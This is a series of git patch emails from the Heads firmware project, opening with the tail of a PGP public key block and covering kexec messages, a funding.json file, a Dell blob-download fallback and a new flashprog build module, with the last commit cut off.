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 +Hdg/UZj5 +=W5H7 -----END PGP PUBLIC KEY BLOCK----- From 1683309f9c4c68c0ea0a96bc8cdaed6f36dbd967 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 7 Sep 2024 16:45:24 -0400 Subject: [PATCH 261/619] kexec-iso-init: Always show kernel arguments suppressions/additions overrides Signed-off-by: Thierry Laurion --- initrd/bin/kexec-iso-init | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/initrd/bin/kexec-iso-init b/initrd/bin/kexec-iso-init index c6e865866..250e8f1f3 100755 --- a/initrd/bin/kexec-iso-init +++ b/initrd/bin/kexec-iso-init @@ -37,14 +37,15 @@ ADD_FILE=/tmp/kexec/kexec_iso_add.txt if [ -r $ADD_FILE ]; then NEW_ADD=`cat $ADD_FILE` ADD=$(eval "echo \"$NEW_ADD\"") - echo "+++ Overriding standard ISO kernel add arguments: $ADD" fi +echo "+++ Overriding standard ISO kernel arguments with additions: $ADD" + REMOVE_FILE=/tmp/kexec/kexec_iso_remove.txt if [ -r $REMOVE_FILE ]; then NEW_REMOVE=`cat $REMOVE_FILE` REMOVE=$(eval "echo \"$NEW_REMOVE\"") - echo "+++ Overriding standard ISO kernel remove arguments: $REMOVE" fi +echo "+++ Overriding standard ISO kernel arguments with suppressions: $REMOVE" # Call kexec and indicate that hashes have been verified DO_WITH_DEBUG kexec-select-boot -b /boot -d /media -p "$paramsdir" \ From 077a703bb93d18b72673873be3a0503d34607441 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 18 Oct 2024 14:49:15 -0400 Subject: [PATCH 262/619] Floss.fund funding.json requirement This passed https://dir.floss.fund/validate validation Signed-off-by: Thierry Laurion --- funding.json | 70 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 70 insertions(+) create mode 100644 funding.json diff --git a/funding.json b/funding.json new file mode 100644 index 000000000..4a4a3196e --- /dev/null +++ b/funding.json @@ -0,0 +1,70 @@ +{ + "version": "v1.0.0", + "entity": { + "type": "individual", + "role": "maintainer", + "name": "Thierry Laurion", + "email": "thierry.laurion@gmail.com", + "description": "Thierry Laurion, founder of Insurgo Open Technologies and maintainer of the Heads open-source firmware project. Dedicated to developing secure, user-friendly technologies that enhance physical security and data protection.", + "webpageUrl": { + "url": "https://github.com/linuxboot/heads", + "wellKnown": "https://github.com/linuxboot/heads/blob/main/funding.json" + } + }, + "projects": [ + { + "guid": "heads", + "name": "Heads", + "description": "Heads is an open-source firmware project designed to enhance the security and integrity of laptops and servers. It provides a tamper-evident and cryptographically verified boot process, empowering users to maintain control over their hardware and data.", + "webpageUrl": { + "url": "https://github.com/linuxboot/heads", + "wellKnown": "https://github.com/linuxboot/heads/blob/main/funding.json" + }, + "repositoryUrl": { + "url": "https://github.com/linuxboot/heads", + "wellKnown": "https://github.com/linuxboot/heads/blob/main/funding.json" + }, + "licenses": ["spdx:GPL-3.0"], + "tags": ["firmware", "security", "open-source", "linuxboot", "coreboot", "heads", "TPM", "measured-boot", "linux"] + } + ], + "funding": { + "channels": [ + { + "guid": "opencollective", + "type": "payment-provider", + "address": "https://opencollective.com/insurgo", + "description": "Support Heads development via Open Collective" + }, + { + "guid": "github-sponsors", + "type": "payment-provider", + "address": "https://github.com/sponsors/linuxboot/heads", + "description": "Support Heads development via GitHub Sponsors" + } + ], + "plans": [ + { + "guid": "monthly-support", + "status": "active", + "name": "Monthly Support Plan", + "description": "Support the ongoing development and maintenance of the Heads firmware project.", + "amount": 10, + "currency": "CAD", + "frequency": "monthly", + "channels": ["opencollective", "github-sponsors"] + }, + { + "guid": "one-time-donation", + "status": "active", + "name": "One-Time Donation", + "description": "Make a one-time donation to support Heads.", + "amount": 50, + "currency": "CAD", + "frequency": "one-time", + "channels": ["opencollective", "github-sponsors"] + } + ] + } +} + From 4957bfe421600520e1689687e2595a348e130dd0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 18 Oct 2024 15:16:44 -0400 Subject: [PATCH 263/619] Floss.fund funding.json requirement: main->master url fix Signed-off-by: Thierry Laurion --- funding.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/funding.json b/funding.json index 4a4a3196e..ebfc44567 100644 --- a/funding.json +++ b/funding.json @@ -8,7 +8,7 @@ "description": "Thierry Laurion, founder of Insurgo Open Technologies and maintainer of the Heads open-source firmware project. Dedicated to developing secure, user-friendly technologies that enhance physical security and data protection.", "webpageUrl": { "url": "https://github.com/linuxboot/heads", - "wellKnown": "https://github.com/linuxboot/heads/blob/main/funding.json" + "wellKnown": "https://github.com/linuxboot/heads/blob/master/funding.json" } }, "projects": [ From 94dab7eedf9b8f689ccb105e66bd3dc0bd69a5c6 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 18 Oct 2024 17:01:46 -0400 Subject: [PATCH 264/619] floss.fund: generate funding.json with helper to pass ingestion from https://dir.floss.fund/submit Signed-off-by: Thierry Laurion --- funding.json | 49 ++++++++++++++++++++++++++++++++----------------- 1 file changed, 32 insertions(+), 17 deletions(-) diff --git a/funding.json b/funding.json index ebfc44567..bf545ed77 100644 --- a/funding.json +++ b/funding.json @@ -7,8 +7,7 @@ "email": "thierry.laurion@gmail.com", "description": "Thierry Laurion, founder of Insurgo Open Technologies and maintainer of the Heads open-source firmware project. Dedicated to developing secure, user-friendly technologies that enhance physical security and data protection.", "webpageUrl": { - "url": "https://github.com/linuxboot/heads", - "wellKnown": "https://github.com/linuxboot/heads/blob/master/funding.json" + "url": "https://github.com/linuxboot/heads" } }, "projects": [ @@ -17,15 +16,25 @@ "name": "Heads", "description": "Heads is an open-source firmware project designed to enhance the security and integrity of laptops and servers. It provides a tamper-evident and cryptographically verified boot process, empowering users to maintain control over their hardware and data.", "webpageUrl": { - "url": "https://github.com/linuxboot/heads", - "wellKnown": "https://github.com/linuxboot/heads/blob/main/funding.json" + "url": "https://github.com/linuxboot/heads" }, "repositoryUrl": { - "url": "https://github.com/linuxboot/heads", - "wellKnown": "https://github.com/linuxboot/heads/blob/main/funding.json" + "url": "https://github.com/linuxboot/heads" }, - "licenses": ["spdx:GPL-3.0"], - "tags": ["firmware", "security", "open-source", "linuxboot", "coreboot", "heads", "TPM", "measured-boot", "linux"] + "licenses": [ + "spdx:GPL-3.0" + ], + "tags": [ + "firmware", + "security", + "open-source", + "linuxboot", + "coreboot", + "heads", + "TPM", + "measured-boot", + "linux" + ] } ], "funding": { @@ -39,7 +48,7 @@ { "guid": "github-sponsors", "type": "payment-provider", - "address": "https://github.com/sponsors/linuxboot/heads", + "address": "https://github.com/sponsors/tlaurion", "description": "Support Heads development via GitHub Sponsors" } ], @@ -47,12 +56,15 @@ { "guid": "monthly-support", "status": "active", - "name": "Monthly Support Plan", - "description": "Support the ongoing development and maintenance of the Heads firmware project.", + "name": "monthly-support", + "description": "Monthly Support Plan", "amount": 10, - "currency": "CAD", + "currency": "USD", "frequency": "monthly", - "channels": ["opencollective", "github-sponsors"] + "channels": [ + "opencollective", + "github-sponsors" + ] }, { "guid": "one-time-donation", @@ -60,11 +72,14 @@ "name": "One-Time Donation", "description": "Make a one-time donation to support Heads.", "amount": 50, - "currency": "CAD", + "currency": "USD", "frequency": "one-time", - "channels": ["opencollective", "github-sponsors"] + "channels": [ + "opencollective", + "github-sponsors" + ] } - ] + ], + "history": [] } } - From 5420b8392e7cf70fdcd2420e73f0866f90fb3114 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 22 Oct 2024 14:31:25 -0400 Subject: [PATCH 265/619] blobs/xx30/optiplex_7010_9010.sh: use dell server first, fallback to archive.org (archive.org still having difficilties now) Signed-off-by: Thierry Laurion --- blobs/xx30/optiplex_7010_9010.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/blobs/xx30/optiplex_7010_9010.sh b/blobs/xx30/optiplex_7010_9010.sh index dd15db910..adb91df05 100755 --- a/blobs/xx30/optiplex_7010_9010.sh +++ b/blobs/xx30/optiplex_7010_9010.sh @@ -12,7 +12,8 @@ if [[ ! -f "${output_dir}/IVB_BIOSAC_PRODUCTION.bin" ]] || [[ ! -f "${output_dir pushd "$(mktemp -d)" || exit #Download Dell firmware update package - wget https://web.archive.org/web/20241007124946/https://dl.dell.com/FOLDER05066036M/1/O7010A29.exe + wget --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" https://dl.dell.com/FOLDER05066036M/1/O7010A29.exe \ + || wget https://web.archive.org/web/20241007124946/https://dl.dell.com/FOLDER05066036M/1/O7010A29.exe #Extract binary binwalk -e O7010A29.exe -C . --run-as=root From 2bf173c59aaba9ff4d1ebafc048ca76385522471 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 31 Aug 2024 09:43:03 -0400 Subject: [PATCH 266/619] add flashprog support: failed attempt to use review.sourcearcade.org for tarballs download MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Add Makefile new app dep verification - Add modules/flashprog pointing to review.sourcearcade.org: website faisl to produce reproducible tarballs. Notes: - Unfortunately, we cannot use review platform to renerate reproducible tarballs, those don't have the same checksum on each download: user@heads-tests-deb12-nix:~/heads$ wget https://review.sourcearcade.org/changes/flashprog~72991/revisions/5/archive?format=tgz -O test.tar.gz --2024-08-31 09:38:14-- https://review.sourcearcade.org/changes/flashprog~72991/revisions/5/archive?format=tgz Resolving review.sourcearcade.org (review.sourcearcade.org)... 88.99.35.89 Connecting to review.sourcearcade.org (review.sourcearcade.org)|88.99.35.89|:443... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [application/x-gzip] Saving to: ‘test.tar.gz’ test.tar.gz [ <=> ] 508.19K 225KB/s in 2.3s 2024-08-31 09:38:18 (225 KB/s) - ‘test.tar.gz’ saved [520389] user@heads-tests-deb12-nix:~/heads$ sha256sum test.tar.gz af2fb823c2699d37db284c1b3066352a59446b7ea491a585df4eeaa25d932a29 test.tar.gz user@heads-tests-deb12-nix:~/heads$ sha256sum test.tar.gz af2fb823c2699d37db284c1b3066352a59446b7ea491a585df4eeaa25d932a29 test.tar.gz user@heads-tests-deb12-nix:~/heads$ wget https://review.sourcearcade.org/changes/flashprog~72991/revisions/5/archive?format=tgz -O test.tar.gz --2024-08-31 09:38:37-- https://review.sourcearcade.org/changes/flashprog~72991/revisions/5/archive?format=tgz Resolving review.sourcearcade.org (review.sourcearcade.org)... 88.99.35.89 Connecting to review.sourcearcade.org (review.sourcearcade.org)|88.99.35.89|:443... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [application/x-gzip] Saving to: ‘test.tar.gz’ test.tar.gz [ <=> ] 508.22K 855KB/s in 0.6s 2024-08-31 09:38:38 (855 KB/s) - ‘test.tar.gz’ saved [520417] user@heads-tests-deb12-nix:~/heads$ sha256sum test.tar.gz 9225002d508bd8e2fc42a2bdcd0741cb93ed2cfc811fcd7e03b0242205d4954b test.tar.gz user@heads-tests-deb12-nix:~/heads$ wget https://review.sourcearcade.org/changes/flashprog~72991/revisions/5/archive?format=tgz -O test.tar.gz --2024-08-31 09:38:43-- https://review.sourcearcade.org/changes/flashprog~72991/revisions/5/archive?format=tgz Resolving review.sourcearcade.org (review.sourcearcade.org)... 88.99.35.89 Connecting to review.sourcearcade.org (review.sourcearcade.org)|88.99.35.89|:443... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [application/x-gzip] Saving to: ‘test.tar.gz’ test.tar.gz [ <=> ] 508.18K 367KB/s in 1.4s 2024-08-31 09:38:45 (367 KB/s) - ‘test.tar.gz’ saved [520378] user@heads-tests-deb12-nix:~/heads$ sha256sum test.tar.gz ebdb7ac0c964178bc312d50547cc7ec82c1c5ffb7d04167fe0ac83deca94ee81 test.tar.gz - Github mirror is only for commited code. Will have to work around that somehow : https://github.com/SourceArcade/flashprog Signed-off-by: Thierry Laurion --- Makefile | 1 + .../qemu-coreboot-whiptail-tpm2.config | 3 +- modules/flashprog | 48 +++++++++++++++++++ 3 files changed, 51 insertions(+), 1 deletion(-) create mode 100644 modules/flashprog diff --git a/Makefile b/Makefile index c952ab001..616a2570c 100644 --- a/Makefile +++ b/Makefile @@ -604,6 +604,7 @@ bin_modules-$(CONFIG_KEXEC) += kexec bin_modules-$(CONFIG_TPMTOTP) += tpmtotp bin_modules-$(CONFIG_PCIUTILS) += pciutils bin_modules-$(CONFIG_FLASHROM) += flashrom +bin_modules-$(CONFIG_FLASHPROG) += flashprog bin_modules-$(CONFIG_CRYPTSETUP) += cryptsetup bin_modules-$(CONFIG_CRYPTSETUP2) += cryptsetup2 bin_modules-$(CONFIG_GPG) += gpg diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 43dbe09cb..77ffbbb5b 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -37,7 +37,8 @@ CONFIG_BUSYBOX=n else #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +#CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y diff --git a/modules/flashprog b/modules/flashprog new file mode 100644 index 000000000..11ac22712 --- /dev/null +++ b/modules/flashprog @@ -0,0 +1,48 @@ +modules-$(CONFIG_FLASHPROG) += flashprog + +flashprog_depends := pciutils $(musl_dep) + +flashprog_change := 72991 +flashprog_revision := 5 +flashprog_version := $(flashprog_change)_$(flashprog_revision) +flashprog_dir := flashprog-$(flashprog_version) +flashprog_tar := $(flashprog_dir).tar.gz +flashprog_url := https://review.sourcearcade.org/changes/flashprog~$(flashprog_change)/revisions/$(flashprog_revision)/archive?format=tgz +flashprog_hash := 8e8e6d901d3bc37b80db1f10dd21b9490709bdb54a0ca06892f8922a284f2ed9 + +# Default options for flashprog +flashprog_cfg := \ + WARNERROR=no \ + CONFIG_NOTHING=yes \ + CONFIG_INTERNAL=yes \ + CONFIG_INTERNAL_X86=yes \ + +ifeq "$(CONFIG_TARGET_ARCH)" "ppc64" +flashprog_cfg := \ + WARNERROR=no \ + CONFIG_NOTHING=yes \ + CONFIG_LINUX_MTD=yes +endif + +#Only enable AST1100 if requested per board configs +ifeq "$(CONFIG_FLASHPROG_AST1100)" "y" +flashprog_cfg += CONFIG_AST1100=yes +endif + +flashprog_target := \ + $(MAKE_JOBS) \ + CFLAGS="-Os -I$(INSTALL)/include/pci" \ + DESTDIR="$(INSTALL)" \ + INSTALL="$(INSTALL)" \ + LDFLAGS="-L$(INSTALL)/lib" \ + PREFIX="$(INSTALL)" \ + $(CROSS_TOOLS) \ + $(flashprog_cfg) \ + flashprog + +flashprog_output := \ + flashprog + +flashprog_libraries := \ + +flashprog_configure := From 243f203c4a76b33555fa997170eb0c24f709af8d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 1 Sep 2024 14:45:38 -0400 Subject: [PATCH 267/619] flashprog: use latest head commit of wp_cli branch which is experimental branch This is https://github.com/SourceArcade/flashprog/tree/wp_cli Signed-off-by: Thierry Laurion --- modules/flashprog | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/flashprog b/modules/flashprog index 11ac22712..1e257b04f 100644 --- a/modules/flashprog +++ b/modules/flashprog @@ -2,13 +2,11 @@ modules-$(CONFIG_FLASHPROG) += flashprog flashprog_depends := pciutils $(musl_dep) -flashprog_change := 72991 -flashprog_revision := 5 -flashprog_version := $(flashprog_change)_$(flashprog_revision) +flashprog_version := 9dc6d843b0678001c9baf0e8602ecb25b16329d2 flashprog_dir := flashprog-$(flashprog_version) flashprog_tar := $(flashprog_dir).tar.gz -flashprog_url := https://review.sourcearcade.org/changes/flashprog~$(flashprog_change)/revisions/$(flashprog_revision)/archive?format=tgz -flashprog_hash := 8e8e6d901d3bc37b80db1f10dd21b9490709bdb54a0ca06892f8922a284f2ed9 +flashprog_url := https://github.com/SourceArcade/flashprog/archive/$(flashprog_version).tar.gz +flashprog_hash := fa4ddf3b60314994a37e4599122ae4c7f42135c13c782e580bc580d715cfa2fc # Default options for flashprog flashprog_cfg := \ From 8114bbb4c83cb639f92f78fb5bb0d1e3d3882268 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 1 Sep 2024 15:53:39 -0400 Subject: [PATCH 